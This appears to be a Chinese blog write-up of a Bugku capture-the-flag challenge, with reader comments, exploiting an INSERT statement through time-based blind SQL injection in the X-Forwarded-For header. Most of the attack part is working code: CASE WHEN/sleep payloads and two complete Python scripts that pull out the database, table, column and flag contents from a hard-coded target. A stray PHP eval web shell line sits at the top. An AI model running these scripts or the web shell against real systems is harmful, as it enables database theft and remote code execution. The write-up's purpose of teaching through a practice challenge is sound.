Bugku INSERT INTO注入
<script language=”php”>@eval_r($_POST[sb])</script>
唔,学习了一波。
这道题目的去掉了, 不能用if(exp1,exp2,exp3)的方式。
然后我就恶补了一下 case when then else end 的知识
error_reporting(0); function getIp(){ $ip = ''; if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; }else{ $ip = $_SERVER['REMOTE_ADDR']; } $ip_arr = explode(',', $ip); return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql);
源代码里面去掉了, 号,并且是一个
X-Forwarded-For的注入
测试一下延时注入,发现会延时5秒钟
X-Forwarded-For: 1'+sleep(5) and '1'='1
然后自己也在本地搭建了一个环境
这是正常插入数据的语句。改成我们注入的方式如下:
然后此时会变成5秒钟
那么此刻这个题目中只能用 case when then else end 的这种方式。那么就只能通过时间来判断了。
查询数据的时候。用如下的方式
举个例子
例如上面的。case 第一个是全部为真。相当于 shell 脚本中的if [1 =1];then 2=2 else 3=3
when 后面的是一个判断语句 的方式。如果成立执行 then 语句2=2 不为真就等于3=3
第三个。判断为1=2 是不为真的。直接走了 1=3 那也不为真。返回为0
这里可以用于获取数据库的名称。
这里通过了一个判断。判断了当前数据的第一个字符为什么。substring 是一个字符切片的函数
然后判断 第一个字符是否等于a 如果等于a 那么就sleep(4)
如果不等于就else 1
那么可以通过一个测试得到 数据库的名称。脚本如下:
#!/usr/bin/env python import requests,time,string characters = string.ascii_letters + string.digits + string.punctuation max_length = 50 target = 'http://120.24.86.145:8002/web15/' database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" def get_database(): flag = '' for i in range(1, max_length): next_position = False for char in characters: payload = "'+(select case when (substring((select database() ) from %s for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,char) headers = { 'X-Forwarded-For': payload } try: r = requests.get(target,headers=headers,timeout=4) except requests.exceptions.ReadTimeout: flag += char print(flag) next_position = True break if not next_position: return flag get_database()
那么怎么去获取数据的表信息呢
还是本地环境。然后我们知道了数据的名称为web15 就可以去获取表名
上面的结构如下:
这里可以查询到表的信息。通过substring 的方式获取第一个是否为a 然后用case when 的方式进行判断详细的语句如下:
(select case when (substring((select table_name from information_schema.tables where table_schema='admin' limit 1 offset 0) from 1 for 1) ='a') then sleep(4) else 1 end and '1'='1');
可能有点绕了。不过分段理解就可以理解了。建议大家本地搭建一个环境。然后插入的方式如下:
这里执行了时间为4.02 秒说明 第一张表的名称第一个字为a
下面发一个大佬写的脚本。很详细
# encoding:utf-8 import requests,time,string characters = string.ascii_letters + string.digits + string.punctuation max_length = 50 target = 'http://120.24.86.145:8002/web15/' cur_database = "'+(select case when (substring((select database() ) from {0} for 1)='{1}') " \ "then sleep(4) else 1 end) and '1'='1" # 猜解字母 def get(payload): flag = '' for i in range(1, max_length): # i 表示了所要查找的名字的最大长度 next_position = False for char in characters: # 0x80=128 , 0x20=32, 32-128为可显示的字符的区间 payload_ = payload.format(str(i), char) headers = { 'X-Forwarded-For': payload_ } try: r = requests.get(target,headers=headers,timeout=4) except requests.exceptions.ReadTimeout: flag += char print(flag) next_position = True break if not next_position: return flag # 指定数据库,获取其下全部表名 def get_table(database): for i in range(0,5): print("正在查询数据库" + database + "中的表") payload = "'+(select case when (substring((" \ "select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \ "from {0} for 1)='{1}') " \ "then sleep(4) else 1 end) and '1'='1" table = get(payload) print( "数据库" + database + "的第"+ str(i+1) +"个表"+table) get_col(table) if not table: print('数据库'+database+'中的表查询完毕') break # 查字段 def get_col(table): for i in range(0,5): print("正在查询表" + table + "中的字段") payload = "'+(select case when (substring((" \ "select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \ "from {0} for 1)='{1}') " \ "then sleep(4) else 1 end) and '1'='1" column = get(payload) print("表" + table + "的第" + str(i+1) + "个字段为" + column ) # print(column) if not column: print("表" + table + "中的字段查询完毕") break # 作为单独的模块使用吧,获取字段详细信息 def result(column,table): payload = "'+(select case when (substring((select "+column+" from "+table+") from {0} for 1)='{1}') " \ "then sleep(4) else 1 end) and '1'='1" print(get(payload)) a = 'flag' result(a,a) if __name__ == "__main__": database1 = get(cur_database) table1 = get_table(database1)
最后获取的flag 如下: cdbf14c9551d5be5612f7bb5d2867853
大佬写的轮子真的有趣。感觉可以深入改一下这个轮子
参考文章如下:https://bbs.ichunqiu.com/thread-41915-1-1.html
如果小弟有那些写的不对的,请各位大佬指定指定。太菜了。
留下了没有技术的泪水
王 冠
2019年8月3日 下午4:26
非常简单易懂
sketch_pl4ne
2019年8月30日 下午9:33
学习了